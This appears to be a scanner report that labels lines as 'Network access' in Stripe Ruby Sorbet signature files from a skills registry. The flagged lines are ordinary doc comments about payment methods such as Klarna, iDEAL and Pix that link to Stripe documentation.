    # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay over a longer term (Installments), whic
  • Network accessline 1306
    }     def affirm=(_affirm); end     # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is pa
  • Network accessline 1307
    def affirm=(_affirm); end     # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particul
  • Network accessline 1308
    # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particularly popular among businesses 
  • Network accessline 1313
    }     def afterpay_clearpay=(_afterpay_clearpay); end     # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alip
  • Network accessline 1314
    def afterpay_clearpay=(_afterpay_clearpay); end     # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app
  • Network accessline 1315
    # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app. Alipay has a low dispute rate and reduces fraud by
  • Network accessline 1334
    }     def amazon_pay=(_amazon_pay); end     # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no add
  • Network accessline 1335
    def amazon_pay=(_amazon_pay); end     # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additiona
  • Network accessline 1336
    # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additional fees to process Apple Pay payments, 
  • Network accessline 1348
    }     def apple_pay_later=(_apple_pay_later); end     # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.
  • Network accessline 1349
    def apple_pay_later=(_apple_pay_later); end     # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/pa
  • Network accessline 1350
    # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/payments/au-becs-debit) for more details.
  • Network accessline 1355
    }     def au_becs_debit=(_au_becs_debit); end     # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more 
  • Network accessline 1356
    def au_becs_debit=(_au_becs_debit); end     # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more detail
  • Network accessline 1357
    # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more details.
  • Network accessline 1362
    }     def bacs_debit=(_bacs_debit); end     # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app
  • Network accessline 1363
    def bacs_debit=(_bacs_debit); end     # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linke
  • Network accessline 1364
    # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linked to a Belgian bank account to make on
  • Network accessline 1369
    }     def bancontact=(_bancontact); end     # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Cust
  • Network accessline 1370
    def bancontact=(_bancontact); end     # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers 
  • Network accessline 1371
    # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers are redirected from your website or ap
  • Network accessline 1376
    }     def billie=(_billie); end     # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they r
  • Network accessline 1377
    def billie=(_billie); end     # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request
  • Network accessline 1378
    # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request a six-digit code from their b
  • Network accessline 1383
    }     def blik=(_blik); end     # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details.
  • Network accessline 1384
    def blik=(_blik); end     # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details.     sig { returns(T.nilable(PaymentMethodConf
  • Network accessline 1385
    # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details.
  • Network accessline 1397
    }     def card=(_card); end     # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or M
  • Network accessline 1398
    def card=(_card); end     # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Masterc
  • Network accessline 1399
    # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Mastercard networks. Check this [
  • Network accessline 1404
    }     def cartes_bancaires=(_cartes_bancaires); end     # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/paym
  • Network accessline 1405
    def cartes_bancaires=(_cartes_bancaires); end     # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/c
  • Network accessline 1406
    # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/cash-app-pay) for more details.
  • Network accessline 1411
    }     def cashapp=(_cashapp); end     # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask.
  • Network accessline 1412
    def cashapp=(_cashapp); end     # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask.     sig { returns(T.nilable(
  • Network accessline 1413
    # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask.
  • Network accessline 1418
    }     def crypto=(_crypto); end     # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payment
  • Network accessline 1419
    def crypto=(_crypto); end     # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank
  • Network accessline 1420
    # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank-transfers) for more details.
  • Network accessline 1425
    }     def customer_balance=(_customer_balance); end     # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by o
  • Network accessline 1426
    def customer_balance=(_customer_balance); end     # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80
  • Network accessline 1427
    # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80% of Austrian online retailers. Check this [page](
  • Network accessline 1437
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions
  • Network accessline 1438
    def expand=(_expand); end     # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia
  • Network accessline 1439
    # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia, and eleven other major Malay
  • Network accessline 1444
    }     def fpx=(_fpx); end     # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https:
  • Network accessline 1445
    def fpx=(_fpx); end     # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs
  • Network accessline 1446
    # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs.stripe.com/payments/ben
  • Network accessline 1451
    }     def fr_meal_voucher_conecs=(_fr_meal_voucher_conecs); end     # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment
  • Network accessline 1452
    def fr_meal_voucher_conecs=(_fr_meal_voucher_conecs); end     # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with
  • Network accessline 1453
    # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with funds debited from their bank account. Depending on their ban
  • Network accessline 1458
    }     def giropay=(_giropay); end     # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android devic
  • Network accessline 1459
    def giropay=(_giropay); end     # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use
  • Network accessline 1460
    # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use the Google Pay API to request a
  • Network accessline 1465
    }     def google_pay=(_google_pay); end     # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with
  • Network accessline 1466
    def google_pay=(_google_pay); end     # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Chec
  • Network accessline 1467
    # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Check this [page](https://docs.stripe.com/
  • Network accessline 1472
    }     def grabpay=(_grabpay); end     # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates 
  • Network accessline 1473
    def grabpay=(_grabpay); end     # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL,
  • Network accessline 1474
    # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL, making it the most popular onli
  • Network accessline 1479
    }     def ideal=(_ideal); end     # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapo
  • Network accessline 1480
    def ideal=(_ideal); end     # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Sw
  • Network accessline 1481
    # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Switzerland, United Kingdom, U
  • Network accessline 1493
    }     def kakao_pay=(_kakao_pay); end     # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing add
  • Network accessline 1494
    def kakao_pay=(_kakao_pay); end     # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address a
  • Network accessline 1495
    # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address and the transaction amount. These pay
  • Network accessline 1500
    }     def klarna=(_klarna); end     # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details.
  • Network accessline 1501
    def klarna=(_klarna); end     # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details.     sig { returns(T.nilab
  • Network accessline 1502
    # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details.
  • Network accessline 1514
    }     def kr_card=(_kr_card); end     # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the n
  • Network accessline 1515
    def kr_card=(_kr_card); end     # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network
  • Network accessline 1516
    # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network.
  • Network accessline 1521
    }     def link=(_link); end     # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payme
  • Network accessline 1522
    def link=(_link); end     # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb
  • Network accessline 1523
    # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb-way) for more details.
  • Network accessline 1528
    }     def mb_way=(_mb_way); end     # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs
  • Network accessline 1529
    def mb_way=(_mb_way); end     # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.strip
  • Network accessline 1530
    # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods
  • Network accessline 1535
    }     def mobilepay=(_mobilepay); end     # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payme
  • Network accessline 1536
    def mobilepay=(_mobilepay); end     # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments us
  • Network accessline 1537
    # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments using any supported method.
  • Network accessline 1554
    }     def naver_pay=(_naver_pay); end     # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payment
  • Network accessline 1555
    def naver_pay=(_naver_pay); end     # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-b
  • Network accessline 1556
    # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-bank-account) for more details.
  • Network accessline 1561
    }     def nz_bank_account=(_nz_bank_account); end     # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay 
  • Network accessline 1562
    def nz_bank_account=(_nz_bank_account); end     # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills 
  • Network accessline 1563
    # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills and online purchases in-store with cash. Check t
  • Network accessline 1568
    }     def oxxo=(_oxxo); end     # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Pola
  • Network accessline 1569
    def oxxo=(_oxxo); end     # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and
  • Network accessline 1570
    # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and Przelewy24 provides a way
  • Network accessline 1582
    }     def pay_by_bank=(_pay_by_bank); end     # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1583
    def pay_by_bank=(_pay_by_bank); end     # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.     sig { returns(T.nilable(PaymentMethodConfigurationUpdateParams::Payco)) }
  • Network accessline 1584
    # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1589
    }     def payco=(_payco); end     # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](h
  • Network accessline 1590
    def payco=(_payco); end     # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https:/
  • Network accessline 1591
    # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https://docs.stripe.com/payments/pa
  • Network accessline 1596
    }     def paynow=(_paynow); end     # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details.
  • Network accessline 1597
    def paynow=(_paynow); end     # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details.     s
  • Network accessline 1598
    # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details.
  • Network accessline 1603
    }     def paypal=(_paypal); end     # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate auth
  • Network accessline 1604
    def paypal=(_paypal); end     # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizin
  • Network accessline 1605
    # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizing you to debit their account. 
  • Network accessline 1610
    }     def payto=(_payto); end     # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com
  • Network accessline 1611
    def payto=(_payto); end     # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payme
  • Network accessline 1612
    # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payments/pix) for more details.
  • Network accessline 1617
    }     def pix=(_pix); end     # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more 
  • Network accessline 1618
    def pix=(_pix); end     # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more detail
  • Network accessline 1619
    # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more details.
  • Network accessline 1631
    }     def revolut_pay=(_revolut_pay); end     # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1632
    def revolut_pay=(_revolut_pay); end     # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.     sig { returns(T.nilable(PaymentMethodConfigurationUpdateParams::Samsun
  • Network accessline 1633
    # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1638
    }     def samsung_pay=(_samsung_pay); end     # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) the
  • Network accessline 1639
    def samsung_pay=(_samsung_pay); end     # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their pay
  • Network accessline 1640
    # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their payment. Customers pay by being redirected 
  • Network accessline 1645
    }     def satispay=(_satispay); end     # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA e
  • Network accessline 1646
    def satispay=(_satispay); end     # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA establi
  • Network accessline 1647
    # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA established and enforced banking standard
  • Network accessline 1652
    }     def sepa_debit=(_sepa_debit); end     # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any support
  • Network accessline 1653
    def sepa_debit=(_sepa_debit); end     # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported met
  • Network accessline 1654
    # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported method—to accept [Sofort](https://www.sof
  • Network accessline 1659
    }     def sofort=(_sofort); end     # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#cu
  • Network accessline 1660
    def sofort=(_sofort); end     # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer
  • Network accessline 1661
    # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer-actions) payments using the S
  • Network accessline 1666
    }     def swish=(_swish); end     # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details.
  • Network accessline 1667
    def swish=(_swish); end     # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details.     sig { returns(T.nilable(Pay
  • Network accessline 1668
    # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details.
  • Network accessline 1673
    }     def twint=(_twint); end     # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](h
  • Network accessline 1674
    def twint=(_twint); end     # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https:/
  • Network accessline 1675
    # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https://docs.stripe.com/payments/ac
  • Network accessline 1680
    }     def us_bank_account=(_us_bank_account); end     # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesse
  • Network accessline 1681
    def us_bank_account=(_us_bank_account); end     # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' app
  • Network accessline 1682
    # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' apps and websites. WeChat Pay users buy most freque
  • Network accessline 1687
    }     def wechat_pay=(_wechat_pay); end     # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.
  • Network accessline 1688
    def wechat_pay=(_wechat_pay); end     # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.     sig { returns(T.nil
  • Network accessline 1689
    # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_method_create_params.rbi

  • Network accessline 68
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 69
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 70
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 88
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 89
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 90
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 375
    class Promptpay < ::Stripe::RequestParams; end     class RadarOptions < ::Stripe::RequestParams       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar 
  • Network accessline 376
    class RadarOptions < ::Stripe::RequestParams       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.   
  • Network accessline 377
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 541
    }     def boleto=(_boleto); end     # If this is a `card` PaymentMethod, this hash contains the user's card details. For backwards compatibility, you can alternatively provide a Stripe token (e.g., for Apple Pay, Amex Express Checkout, or l
  • Network accessline 542
    def boleto=(_boleto); end     # If this is a `card` PaymentMethod, this hash contains the user's card details. For backwards compatibility, you can alternatively provide a Stripe token (e.g., for Apple Pay, Amex Express Checkout, or legacy 
  • Network accessline 543
    [Credential-related source omitted]
  • Network accessline 670
    }     def mb_way=(_mb_way); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual
  • Network accessline 671
    def mb_way=(_mb_way); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 672
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 773
    }     def promptpay=(_promptpay); end     # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 774
    def promptpay=(_promptpay); end     # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.     sig { returns(T.nilable(PaymentMethodCreateParams::RadarOptions)) }
  • Network accessline 775
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_method_update_params.rbi

  • Network accessline 12
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 13
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 14
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 32
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 33
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 34
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
